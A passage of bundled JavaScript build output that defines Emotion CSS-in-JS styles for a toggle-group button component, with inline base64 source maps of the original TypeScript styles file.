aXZgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdGxpbmUtaGVpZ2h0OiAxO1xuYDtcblxuY29uc3QgaXNJY29uU3R5bGVzID0gKCB7XG5cdHNpemUgPSAnZGVmYXVsdCcsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ3NpemUnID4gKSA9PiB7XG5cdGNvbnN0IGljb25CdXR0b25TaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMzRweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMzhweCcsXG5cdH07XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IGljb25CdXR0b25TaXplc1sgc2l6ZSBdIH07XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHRwYWRkaW5nLXJpZ2h0OiAwO1xuXHRgO1xufTtcbiJdfQ== */",
29968 toString: _EMOTION_STRINGIFIED_CSS_ERROR__11
29969 };
29970 var buttonView = ({
29971 isDeselectable,
29972 isIcon,
29973 isPressed,
29974 size: size3
29975 }) => /* @__PURE__ */ css("align-items:center;appearance:none;background:transparent;border:none;border-radius:", config_values_default.radiusXSmall, ";color:", COLORS.theme.gray[700], ";fill:currentColor;cursor:pointer;display:flex;font-family:inherit;height:100%;justify-content:center;line-height:100%;outline:none;padding:0 12px;position:relative;text-align:center;@media not ( prefers-reduced-motion ){transition:color ", config_values_default.transitionDurationFast, " linear,font-weight 60ms linear;}user-select:none;width:100%;z-index:2;&::-moz-focus-inner{border:0;}&[disabled],&[aria-disabled='true']{opacity:0.4;cursor:default;}&:hover:not( [disabled] ):not( [aria-disabled='true'] ){color:", COLORS.theme.foreground, ";}", isDeselectable && deselectable, " ", isIcon && isIconStyles({
29976 size: size3
29977 }), " ", isPressed && pressed, ";" + (false ? "" : ";label:buttonView;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQ1ciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHtcblx0VG9nZ2xlR3JvdXBDb250cm9sUHJvcHMsXG5cdFRvZ2dsZUdyb3VwQ29udHJvbE9wdGlvbkJhc2VQcm9wcyxcbn0gZnJvbSAnLi4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgTGFiZWxWaWV3ID0gc3R5bGVkLmRpdmBcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdG1heC13aWR0aDogMTAwJTtcblx0bWluLXdpZHRoOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5gO1xuXG5leHBvcnQgY29uc3QgbGFiZWxCbG9jayA9IGNzc2Bcblx0ZmxleDogMTtcbmA7XG5cbmV4cG9ydCBjb25zdCBidXR0b25WaWV3ID0gKCB7XG5cdGlzRGVzZWxlY3RhYmxlLFxuXHRpc0ljb24sXG5cdGlzUHJlc3NlZCxcblx0c2l6ZSxcbn06IFBpY2s8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLCAnaXNEZXNlbGVjdGFibGUnIHwgJ3NpemUnID4gJlxuXHRQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xPcHRpb25CYXNlUHJvcHMsICdpc0ljb24nID4gJiB7XG5cdFx0aXNQcmVzc2VkPzogYm9vbGVhbjtcblx0fSApID0+IGNzc2Bcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YXBwZWFyYW5jZTogbm9uZTtcblx0YmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG5cdGJvcmRlcjogbm9uZTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1hTbWFsbCB9O1xuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDcwMCBdIH07XG5cdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRmb250LWZhbWlseTogaW5oZXJpdDtcblx0aGVpZ2h0OiAxMDAlO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bGluZS1oZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBhZGRpbmc6IDAgMTJweDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb246XG5cdFx0XHRjb2xvciAkeyBDT05GSUcudHJhbnNpdGlvbkR1cmF0aW9uRmFzdCB9IGxpbmVhcixcblx0XHRcdGZvbnQtd2VpZ2h0IDYwbXMgbGluZWFyO1xuXHR9XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogMTAwJTtcblx0ei1pbmRleDogMjtcblxuXHQmOjotbW96LWZvY3VzLWlubmVyIHtcblx0XHRib3JkZXI6IDA7XG5cdH1cblxuXHQmW2Rpc2FibGVkXSxcblx0JlthcmlhLWRpc2FibGVkPSd0cnVlJ10ge1xuXHRcdG9wYWNpdHk6IDAuNDtcblx0XHRjdXJzb3I6IGRlZmF1bHQ7XG5cdH1cblxuXHQmOmhvdmVyOm5vdCggW2Rpc2FibGVkXSApOm5vdCggW2FyaWEtZGlzYWJsZWQ9J3RydWUnXSApIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0fVxuXG5cdCR7IGlzRGVzZWxlY3RhYmxlICYmIGRlc2VsZWN0YWJsZSB9XG5cdCR7IGlzSWNvbiAmJiBpc0ljb25TdHlsZXMoIHsgc2l6ZSB9ICkgfVxuXHQkeyBpc1ByZXNzZWQgJiYgcHJlc3NlZCB9XG5gO1xuXG5jb25zdCBwcmVzc2VkID0gY3NzYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmZvcmVncm91bmQgfTtcblx0Zm9udC13ZWlnaHQ6ICR7IENPTkZJRy5mb250V2VpZ2h0TWVkaXVtIH07XG5gO1xuXG5jb25zdCBkZXNlbGVjdGFibGUgPSBjc3NgXG5cdCY6Zm9jdXMge1xuXHRcdG91dGxpbmU6ICR7IENPTkZJRy5ib3JkZXJXaWR0aEZvY3VzIH0gc29saWQgJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0b3V0bGluZS1vZmZzZXQ6IDJweDtcblxuXHRcdC8vIEhpZGUgb3ZlcmxhcHBpbmcgYm9yZGVyXG5cdFx0JlthcmlhLXByZXNzZWQ9J2ZhbHNlJ10ge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0XHRcdGJveC1zaGFkb3c6IDAgMCAwIDJweCAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHRcdH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEJ1dHRvbkNvbnRlbnRWaWV3ID0gc3R5bGVkLmRpdmBcblx0ZGlzcGxheTogZmxleDtcblx0Zm9udC1zaXplOiAkeyBDT05GSUcuZm9udFNpemUgfTtcblx0bGluZS1oZWlnaHQ6IDE7XG5gO1xuXG5jb25zdCBpc0ljb25TdHlsZXMgPSAoIHtcblx0c2l6ZSA9ICdkZWZhdWx0Jyxcbn06IFBpY2s8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLCAnc2l6ZScgPiApID0+IHtcblx0Y29uc3QgaWNvbkJ1dHRvblNpemVzID0ge1xuXHRcdGRlZmF1bHQ6ICczNHB4Jyxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6ICczOHB4Jyxcblx0fTtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdGhlaWdodDogJHsgaWNvbkJ1dHRvblNpemVzWyBzaXplIF0gfTtcblx0XHRhc3BlY3QtcmF0aW86IDE7XG5cdFx0cGFkZGluZy1sZWZ0OiAwO1xuXHRcdHBhZGRpbmctcmlnaHQ6IDA7XG5cdGA7XG59O1xuIl19 */");
29978 var pressed = /* @__PURE__ */ css("color:", COLORS.theme.foreground, ";font-weight:", config_values_default.fontWeightMedium, ";" + (false ? "" : ";label:pressed;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFnRm1CIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7XG5cdFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLFxuXHRUb2dnbGVHcm91cENvbnRyb2xPcHRpb25CYXNlUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IExhYmVsVmlldyA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRtYXgtd2lkdGg6IDEwMCU7XG5cdG1pbi13aWR0aDogMDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuYDtcblxuZXhwb3J0IGNvbnN0IGxhYmVsQmxvY2sgPSBjc3NgXG5cdGZsZXg6IDE7XG5gO1xuXG5leHBvcnQgY29uc3QgYnV0dG9uVmlldyA9ICgge1xuXHRpc0Rlc2VsZWN0YWJsZSxcblx0aXNJY29uLFxuXHRpc1ByZXNzZWQsXG5cdHNpemUsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ2lzRGVzZWxlY3RhYmxlJyB8ICdzaXplJyA+ICZcblx0UGljazwgVG9nZ2xlR3JvdXBDb250cm9sT3B0aW9uQmFzZVByb3BzLCAnaXNJY29uJyA+ICYge1xuXHRcdGlzUHJlc3NlZD86IGJvb2xlYW47XG5cdH0gKSA9PiBjc3NgXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFwcGVhcmFuY2U6IG5vbmU7XG5cdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRib3JkZXI6IG5vbmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNYU21hbGwgfTtcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGhlaWdodDogMTAwJTtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdGxpbmUtaGVpZ2h0OiAxMDAlO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwYWRkaW5nOiAwIDEycHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0Y29sb3IgJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBsaW5lYXIsXG5cdFx0XHRmb250LXdlaWdodCA2MG1zIGxpbmVhcjtcblx0fVxuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdHotaW5kZXg6IDI7XG5cblx0Jjo6LW1vei1mb2N1cy1pbm5lciB7XG5cdFx0Ym9yZGVyOiAwO1xuXHR9XG5cblx0JltkaXNhYmxlZF0sXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHR9XG5cblx0Jjpob3Zlcjpub3QoIFtkaXNhYmxlZF0gKTpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHQkeyBpc0Rlc2VsZWN0YWJsZSAmJiBkZXNlbGVjdGFibGUgfVxuXHQkeyBpc0ljb24gJiYgaXNJY29uU3R5bGVzKCB7IHNpemUgfSApIH1cblx0JHsgaXNQcmVzc2VkICYmIHByZXNzZWQgfVxuYDtcblxuY29uc3QgcHJlc3NlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGZvbnQtd2VpZ2h0OiAkeyBDT05GSUcuZm9udFdlaWdodE1lZGl1bSB9O1xuYDtcblxuY29uc3QgZGVzZWxlY3RhYmxlID0gY3NzYFxuXHQmOmZvY3VzIHtcblx0XHRvdXRsaW5lOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdG91dGxpbmUtb2Zmc2V0OiAycHg7XG5cblx0XHQvLyBIaWRlIG92ZXJsYXBwaW5nIGJvcmRlclxuXHRcdCZbYXJpYS1wcmVzc2VkPSdmYWxzZSddIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy51aS5iYWNrZ3JvdW5kIH07XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCAycHggJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBCdXR0b25Db250ZW50VmlldyA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdGxpbmUtaGVpZ2h0OiAxO1xuYDtcblxuY29uc3QgaXNJY29uU3R5bGVzID0gKCB7XG5cdHNpemUgPSAnZGVmYXVsdCcsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ3NpemUnID4gKSA9PiB7XG5cdGNvbnN0IGljb25CdXR0b25TaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMzRweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMzhweCcsXG5cdH07XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IGljb25CdXR0b25TaXplc1sgc2l6ZSBdIH07XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHRwYWRkaW5nLXJpZ2h0OiAwO1xuXHRgO1xufTtcbiJdfQ== */");
29979 var deselectable = /* @__PURE__ */ css("&:focus{outline:", config_values_default.borderWidthFocus, " solid ", COLORS.ui.borderFocus, ";outline-offset:2px;&[aria-pressed='false']{background:", COLORS.ui.background, ";box-shadow:0 0 0 2px ", COLORS.ui.background, ";}}" + (false ? "" : ";label:deselectable;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxRndCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7XG5cdFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLFxuXHRUb2dnbGVHcm91cENvbnRyb2xPcHRpb25CYXNlUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IExhYmVsVmlldyA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRtYXgtd2lkdGg6IDEwMCU7XG5cdG1pbi13aWR0aDogMDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuYDtcblxuZXhwb3J0IGNvbnN0IGxhYmVsQmxvY2sgPSBjc3NgXG5cdGZsZXg6IDE7XG5gO1xuXG5leHBvcnQgY29uc3QgYnV0dG9uVmlldyA9ICgge1xuXHRpc0Rlc2VsZWN0YWJsZSxcblx0aXNJY29uLFxuXHRpc1ByZXNzZWQsXG5cdHNpemUsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ2lzRGVzZWxlY3RhYmxlJyB8ICdzaXplJyA+ICZcblx0UGljazwgVG9nZ2xlR3JvdXBDb250cm9sT3B0aW9uQmFzZVByb3BzLCAnaXNJY29uJyA+ICYge1xuXHRcdGlzUHJlc3NlZD86IGJvb2xlYW47XG5cdH0gKSA9PiBjc3NgXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFwcGVhcmFuY2U6IG5vbmU7XG5cdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRib3JkZXI6IG5vbmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNYU21hbGwgfTtcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGhlaWdodDogMTAwJTtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdGxpbmUtaGVpZ2h0OiAxMDAlO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwYWRkaW5nOiAwIDEycHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0Y29sb3IgJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBsaW5lYXIsXG5cdFx0XHRmb250LXdlaWdodCA2MG1zIGxpbmVhcjtcblx0fVxuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdHotaW5kZXg6IDI7XG5cblx0Jjo6LW1vei1mb2N1cy1pbm5lciB7XG5cdFx0Ym9yZGVyOiAwO1xuXHR9XG5cblx0JltkaXNhYmxlZF0sXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHR9XG5cblx0Jjpob3Zlcjpub3QoIFtkaXNhYmxlZF0gKTpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHQkeyBpc0Rlc2VsZWN0YWJsZSAmJiBkZXNlbGVjdGFibGUgfVxuXHQkeyBpc0ljb24gJiYgaXNJY29uU3R5bGVzKCB7IHNpemUgfSApIH1cblx0JHsgaXNQcmVzc2VkICYmIHByZXNzZWQgfVxuYDtcblxuY29uc3QgcHJlc3NlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGZvbnQtd2VpZ2h0OiAkeyBDT05GSUcuZm9udFdlaWdodE1lZGl1bSB9O1xuYDtcblxuY29uc3QgZGVzZWxlY3RhYmxlID0gY3NzYFxuXHQmOmZvY3VzIHtcblx0XHRvdXRsaW5lOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdG91dGxpbmUtb2Zmc2V0OiAycHg7XG5cblx0XHQvLyBIaWRlIG92ZXJsYXBwaW5nIGJvcmRlclxuXHRcdCZbYXJpYS1wcmVzc2VkPSdmYWxzZSddIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy51aS5iYWNrZ3JvdW5kIH07XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCAycHggJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBCdXR0b25Db250ZW50VmlldyA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdGxpbmUtaGVpZ2h0OiAxO1xuYDtcblxuY29uc3QgaXNJY29uU3R5bGVzID0gKCB7XG5cdHNpemUgPSAnZGVmYXVsdCcsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ3NpemUnID4gKSA9PiB7XG5cdGNvbnN0IGljb25CdXR0b25TaXplcyA9IHtcblx0XHRkZWZhdWx0OiAnMzRweCcsXG5cdFx0J19fdW5zdGFibGUtbGFyZ2UnOiAnMzhweCcsXG5cdH07XG5cblx0cmV0dXJuIGNzc2Bcblx0XHRoZWlnaHQ6ICR7IGljb25CdXR0b25TaXplc1sgc2l6ZSBdIH07XG5cdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHRwYWRkaW5nLXJpZ2h0OiAwO1xuXHRgO1xufTtcbiJdfQ== */");
29980 var ButtonContentView = /* @__PURE__ */ createStyled("div", false ? {
29981 target: "et6ln9s0"
29982 } : {
29983 target: "et6ln9s0",
29984 label: "ButtonContentView"
29985 })("display:flex;font-size:", config_values_default.fontSize, ";line-height:1;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrRzJDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7XG5cdFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzLFxuXHRUb2dnbGVHcm91cENvbnRyb2xPcHRpb25CYXNlUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuZXhwb3J0IGNvbnN0IExhYmVsVmlldyA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRtYXgtd2lkdGg6IDEwMCU7XG5cdG1pbi13aWR0aDogMDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuYDtcblxuZXhwb3J0IGNvbnN0IGxhYmVsQmxvY2sgPSBjc3NgXG5cdGZsZXg6IDE7XG5gO1xuXG5leHBvcnQgY29uc3QgYnV0dG9uVmlldyA9ICgge1xuXHRpc0Rlc2VsZWN0YWJsZSxcblx0aXNJY29uLFxuXHRpc1ByZXNzZWQsXG5cdHNpemUsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ2lzRGVzZWxlY3RhYmxlJyB8ICdzaXplJyA+ICZcblx0UGljazwgVG9nZ2xlR3JvdXBDb250cm9sT3B0aW9uQmFzZVByb3BzLCAnaXNJY29uJyA+ICYge1xuXHRcdGlzUHJlc3NlZD86IGJvb2xlYW47XG5cdH0gKSA9PiBjc3NgXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFwcGVhcmFuY2U6IG5vbmU7XG5cdGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuXHRib3JkZXI6IG5vbmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNYU21hbGwgfTtcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXHRmaWxsOiBjdXJyZW50Q29sb3I7XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGhlaWdodDogMTAwJTtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdGxpbmUtaGVpZ2h0OiAxMDAlO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwYWRkaW5nOiAwIDEycHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHR0cmFuc2l0aW9uOlxuXHRcdFx0Y29sb3IgJHsgQ09ORklHLnRyYW5zaXRpb25EdXJhdGlvbkZhc3QgfSBsaW5lYXIsXG5cdFx0XHRmb250LXdlaWdodCA2MG1zIGxpbmVhcjtcblx0fVxuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdHotaW5kZXg6IDI7XG5cblx0Jjo6LW1vei1mb2N1cy1pbm5lciB7XG5cdFx0Ym9yZGVyOiAwO1xuXHR9XG5cblx0JltkaXNhYmxlZF0sXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0Y3Vyc29yOiBkZWZhdWx0O1xuXHR9XG5cblx0Jjpob3Zlcjpub3QoIFtkaXNhYmxlZF0gKTpub3QoIFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKSB7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHQkeyBpc0Rlc2VsZWN0YWJsZSAmJiBkZXNlbGVjdGFibGUgfVxuXHQkeyBpc0ljb24gJiYgaXNJY29uU3R5bGVzKCB7IHNpemUgfSApIH1cblx0JHsgaXNQcmVzc2VkICYmIHByZXNzZWQgfVxuYDtcblxuY29uc3QgcHJlc3NlZCA9IGNzc2Bcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGZvbnQtd2VpZ2h0OiAkeyBDT05GSUcuZm9udFdlaWdodE1lZGl1bSB9O1xuYDtcblxuY29uc3QgZGVzZWxlY3RhYmxlID0gY3NzYFxuXHQmOmZvY3VzIHtcblx0XHRvdXRsaW5lOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdG91dGxpbmUtb2Zmc2V0OiAycHg7XG5cblx0XHQvLyBIaWRlIG92ZXJsYXBwaW5nIGJvcmRlclxuXHRcdCZbYXJpYS1wcmVzc2VkPSdmYWxzZSddIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy51aS5iYWNrZ3JvdW5kIH07XG5cdFx0XHRib3gtc2hhZG93OiAwIDAgMCAycHggJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0XHR9XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBCdXR0b25Db250ZW50VmlldyA9IHN0eWxlZC5kaXZgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZvbnQtc2l6ZTogJHsgQ09ORklHLmZvbnRTaXplIH07XG5cdGxpbmUtaGVpZ2h0OiAxO1xuYDtcblxuY29uc3QgaXNJY29uU3R5bGVzID0gKCB7XG5cdHNpemUgPSAnZGVmYXVsdCcsXG59OiBQaWNr